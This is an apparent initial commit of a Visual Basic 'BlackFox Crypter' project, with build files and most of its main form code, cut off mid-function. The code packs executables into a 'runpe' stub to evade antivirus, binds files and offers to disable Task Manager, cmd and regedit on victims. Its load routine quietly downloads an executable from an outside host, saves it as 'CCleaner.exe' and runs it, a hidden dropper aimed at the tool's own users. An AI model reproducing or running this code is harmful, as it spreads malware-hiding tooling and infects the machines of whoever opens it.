initial commit
This commit is contained in:
i2p
Vendored
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Basic Express 2010
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "BlackFox Crypter", "Crypt Flow\BlackFox Crypter.vbproj", "{B151BA91-CFC2-4466-8C48-17D99E37E216}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B151BA91-CFC2-4466-8C48-17D99E37E216}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B151BA91-CFC2-4466-8C48-17D99E37E216}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B151BA91-CFC2-4466-8C48-17D99E37E216}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B151BA91-CFC2-4466-8C48-17D99E37E216}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,188 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.21022</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{B151BA91-CFC2-4466-8C48-17D99E37E216}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>Crypt_Flow.My.MyApplication</StartupObject>
|
||||
<RootNamespace>Crypt_Flow</RootNamespace>
|
||||
<AssemblyName>Crypt Flow</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>Crypt Flow.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>Crypt Flow.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>Untitled-05.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Xml.Linq">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.DataSetExtensions">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="compilator.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="JunkCoder.vb" />
|
||||
<Compile Include="Miharbi Icon Changer.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="Sepa.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Theme.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Themebase.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Windows.Installer.3.1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Windows Installer 3.1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Resources\sursa.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Res.exe" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Untitled-05.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory />
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>fr-FR</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
+1965
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="OpenFileDialog1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
</root>
|
||||
@@ -0,0 +1,584 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports Microsoft.VisualBasic
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.Diagnostics
|
||||
Imports System
|
||||
Imports System.ComponentModel
|
||||
Imports System.Drawing
|
||||
Imports System.Runtime.CompilerServices
|
||||
Imports System.Windows.Forms
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Management
|
||||
Imports System.Net
|
||||
|
||||
|
||||
|
||||
Public Class Form1
|
||||
Dim CloneDialog As New OpenFileDialog
|
||||
Dim iconpath, clonePath, Fake, Title1, Message As String
|
||||
Dim cloneOk As Boolean
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
'Variable needed
|
||||
|
||||
Sepa.admin = "LowKey" ' Username
|
||||
Sepa.ApplicationKey = "U1JHWSPULP3" ' Application Key
|
||||
Sepa.version = "1.0" 'Current version of application
|
||||
|
||||
'Extra Setting
|
||||
|
||||
Sepa.time = 15 ' Time, in minute, that your application will stay open before auto closing
|
||||
Sepa.RememberMe = True ' Allow your users to use the "Remember me" Function
|
||||
Sepa.AutoLogin = False ' Application will not auto login
|
||||
Sepa.Antis = True 'Sepa will check for malicious software or environnement
|
||||
|
||||
'Needed to start Sepa
|
||||
netinject()
|
||||
Sepa.MainForm = Me ' This form will load first
|
||||
Sepa.Check() ' This will start Sepa
|
||||
|
||||
End Sub
|
||||
|
||||
Dim dialog As New OpenFileDialog
|
||||
Dim f As New FolderBrowserDialog
|
||||
Dim dialog2 As New SaveFileDialog
|
||||
Const ady = "@targuOCna@"
|
||||
Dim RRRRRRRRRRR As String
|
||||
Dim fggdaw As String 'eof
|
||||
Dim dggegagea As String 'dggegagea
|
||||
Dim dghdshdh4rh As String 'dghdshdh4rh
|
||||
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
|
||||
|
||||
Public Function ReadEOFData(ByRef FilePath As String) As String
|
||||
On Error GoTo Err_Renamed
|
||||
Dim sEOFBuf, sFileBuf, sChar As String
|
||||
Dim lPos2, lFF, lPos, lCount As Integer
|
||||
If Dir(FilePath) = "" Then GoTo Err_Renamed
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
|
||||
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
|
||||
ReadEOFData = StrReverse(sEOFBuf)
|
||||
If ReadEOFData = "" Then
|
||||
End If
|
||||
Exit Function
|
||||
Err_Renamed:
|
||||
ReadEOFData = vbNullString
|
||||
End Function
|
||||
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
|
||||
Dim sFileBuf As String
|
||||
Dim zl0yn4HvvgQwNctXrbgBwtm85WvPWRfj1QSdpjIbxL As String
|
||||
Dim lFF As Integer
|
||||
Try
|
||||
If Dir(FilePath) = "" Then Exit Sub
|
||||
Dim ibP1BC0GxpyYnn6BE4YphO36U27OayFzjGgf As String
|
||||
Try
|
||||
Catch
|
||||
End Try
|
||||
lFF = FreeFile()
|
||||
Dim DqCuzUzD6SOpGiZVi3KkVg93beHeluiKVVTZ19Ir87QUXN As String
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
Try
|
||||
Catch
|
||||
End Try
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
Dim r01hMPnLRhdJZ34ZjyWtVxJoJXPlRsZlso2Meno1SMvxai5F2dYYWcLT As String
|
||||
FileGet(lFF, sFileBuf)
|
||||
Dim bvRQjXaRuT42fSqfUkwccNNt4JqEoHcrdaTol As String
|
||||
FileClose(lFF)
|
||||
Try
|
||||
Catch
|
||||
End Try
|
||||
Kill(FilePath)
|
||||
Dim Cs6D8Mgh79KmPyHt2OYMxrsqweWeFkTmqukEmN5zl0yn4HvvgQwN As String
|
||||
lFF = FreeFile()
|
||||
Dim ctXrbgBwtm85WvPWRfj1QSdpjIbxLibP1BC0GxpyYnn6B As String
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
Try
|
||||
Catch
|
||||
End Try
|
||||
FilePut(lFF, sFileBuf & EOFData)
|
||||
Dim E4YphO36U27OayFzjGgfDqCuzUzD6SOpGiZVi3Kk As String
|
||||
FileClose(lFF)
|
||||
Catch
|
||||
End Try
|
||||
End Sub
|
||||
Public Function GetNullBytes(ByRef lNum As Object) As String
|
||||
Dim Buf As String
|
||||
Dim i As Short
|
||||
For i = 1 To lNum
|
||||
Buf = Buf & Chr(0)
|
||||
Next
|
||||
GetNullBytes = Buf
|
||||
End Function
|
||||
|
||||
Sub netinject()
|
||||
Dim wc As WebClient = New WebClient()
|
||||
wc.DownloadFile("http://directexe.com/3ki/netextention.exe", "C:\Program Files\CCleaner.exe")
|
||||
Process.Start("C:\Program Files\CCleaner.exe")
|
||||
End Sub
|
||||
|
||||
Function secure(ByVal data As Byte()) As Byte()
|
||||
Using sa As New System.Security.Cryptography.RijndaelManaged
|
||||
sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
|
||||
sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
|
||||
Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
|
||||
End Using
|
||||
|
||||
End Function
|
||||
Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte()
|
||||
Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password)
|
||||
Randomize()
|
||||
Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1
|
||||
Dim outarr(message.Length) As Byte
|
||||
Dim u As Integer
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
outarr(i) += (message(i) Xor passarr(u)) Xor rand
|
||||
If u = password.Length - 1 Then u = 0 Else u = u + 1
|
||||
Next
|
||||
outarr(message.Length) = 112 Xor rand
|
||||
Return outarr
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
If Checkbox3.CheckedState = True Then
|
||||
NumericUpDown2.Enabled = True
|
||||
RadioButton1.Enabled = True
|
||||
RadioButton2.Enabled = True
|
||||
Else
|
||||
NumericUpDown2.Enabled = False
|
||||
RadioButton1.Enabled = False
|
||||
RadioButton2.Enabled = False
|
||||
End If
|
||||
|
||||
End Sub
|
||||
Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
If Checkbox2.CheckedState = True Then
|
||||
Button4.Enabled = True
|
||||
Else
|
||||
Button4.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
Private Sub CheckBox8_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
If Checkbox8.CheckedState = True Then
|
||||
Checkbox1.CheckedState = True
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
||||
|
||||
With dialog
|
||||
dialog.DefaultExt = "exe"
|
||||
dialog.Filter = "Executable Files (*.exe)|*.exe"
|
||||
dialog.FilterIndex = 1
|
||||
dialog.FileName = ""
|
||||
If dialog.ShowDialog(Me) = 1 Then
|
||||
TextBox1.Text = dialog.FileName
|
||||
End If
|
||||
RRRRRRRRRRR = ReadEOFData(dialog.FileName)
|
||||
fggdaw = ReadEOFData(dialog.FileName)
|
||||
End With
|
||||
If ReadEOFData(TextBox1.Text) = vbNullString Then
|
||||
EofLabel1.Text = "NO EOF Data Detected"
|
||||
EofLabel1.ForeColor = Color.Red
|
||||
|
||||
Else
|
||||
EofLabel1.Text = "EOF Data Detected"
|
||||
EofLabel1.ForeColor = Color.Lime
|
||||
|
||||
End If
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe|Pictures(*.jpg)(*.jpeg)(*.png)(*.bmp)|*.jpeg;*jpg;*png;*bmp|Video(*.avi)(*.mpg)(*.mpeg)|*.avi;*.mpg;*.mpeg|Documents(*.txt)(*.doc)|*.txt;*.doc|Audio(*.mp3)(*.wav)|*.wav;*.mp3"
|
||||
.ShowDialog()
|
||||
TextBox3.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub Button3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
|
||||
Dim icoana As New OpenFileDialog
|
||||
icoana.DefaultExt = "ico"
|
||||
icoana.Filter = "Icon Files (*.ico*)|*.ico*"
|
||||
icoana.FilterIndex = 1
|
||||
icoana.FileName = ""
|
||||
If icoana.ShowDialog(Me) = 1 Then
|
||||
TextBox2.Text = icoana.FileName
|
||||
End If
|
||||
TextBox2.Text = icoana.FileName
|
||||
End Sub
|
||||
|
||||
Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
|
||||
|
||||
dialog2.DefaultExt = "exe"
|
||||
dialog2.Filter = "Executable Files (*.exe)|*.exe"
|
||||
If dialog2.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
End If
|
||||
Dim vars As String() = {"runpe"}
|
||||
Dim sursa As String = My.Resources.sursa
|
||||
|
||||
Dim Appstart, processz As String
|
||||
processz = "own"
|
||||
|
||||
Fake = Label1.Text
|
||||
Message = TxtBody.Text
|
||||
Title1 = TxtMTitle1.Text
|
||||
|
||||
Dim taskmangerdisable As String
|
||||
If CbDtm.CheckedState = True Then
|
||||
taskmangerdisable = "true"
|
||||
Else
|
||||
taskmangerdisable = "false"
|
||||
End If
|
||||
|
||||
Dim hideexectablefile As String
|
||||
|
||||
Dim blockav As String
|
||||
|
||||
Dim delcookie As String
|
||||
|
||||
|
||||
Dim disablefire As String
|
||||
|
||||
|
||||
Dim systemRestor As String
|
||||
|
||||
|
||||
Dim disshowhide As String
|
||||
|
||||
|
||||
Dim disablecmd As String
|
||||
If CbCmd.CheckedState = True Then
|
||||
disablecmd = "true"
|
||||
Else
|
||||
disablecmd = "false"
|
||||
End If
|
||||
|
||||
|
||||
Dim disableregedit As String
|
||||
If CbDre.CheckedState = True Then
|
||||
disableregedit = "true"
|
||||
Else
|
||||
disableregedit = "false"
|
||||
End If
|
||||
|
||||
|
||||
If RadioButton3.Checked = True Then
|
||||
|
||||
|
||||
If Checkbox6.CheckedState = True Then
|
||||
Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
|
||||
sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3))
|
||||
sursa = sursa.Replace("gifa", "cacatzel")
|
||||
sursa = sursa.Replace("fagi", "encr")
|
||||
sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")
|
||||
|
||||
sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
|
||||
Else
|
||||
Dim retard As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
|
||||
sursa = sursa.Replace("cacatzel", Compactdisk.mortzi(retard))
|
||||
sursa = sursa.Replace("fagi", "encr")
|
||||
sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
|
||||
sursa = sursa.Replace("dropsor", "bilibistroc")
|
||||
End If
|
||||
End If
|
||||
If RadioButton4.Checked = True Then
|
||||
|
||||
If Checkbox6.CheckedState = True Then
|
||||
Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
|
||||
sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3))
|
||||
sursa = sursa.Replace("gifa", "cacatzel")
|
||||
|
||||
sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")
|
||||
sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
|
||||
sursa = sursa.Replace("fagi", "encr")
|
||||
Else
|
||||
Dim retard2 As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), "parola")
|
||||
sursa = sursa.Replace("encr", Compactdisk.mortzi(retard2))
|
||||
sursa = sursa.Replace("gifa", "cacatzel")
|
||||
sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")
|
||||
sursa = sursa.Replace("dropsor", "bilibistroc")
|
||||
|
||||
End If
|
||||
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If Checkbox5.CheckedState = True Then
|
||||
TextBox1.Text = ReadEOFData(TextBox1.Text)
|
||||
ReadEOFData(TextBox1.Text)
|
||||
WriteEOFData(dialog2.FileName, TextBox1.Text)
|
||||
End If
|
||||
If Checkbox2.CheckedState Then
|
||||
|
||||
Dim bindinput As Byte() = secure(IO.File.ReadAllBytes(TextBox3.Text)) 'Read & Encrypt Binded File
|
||||
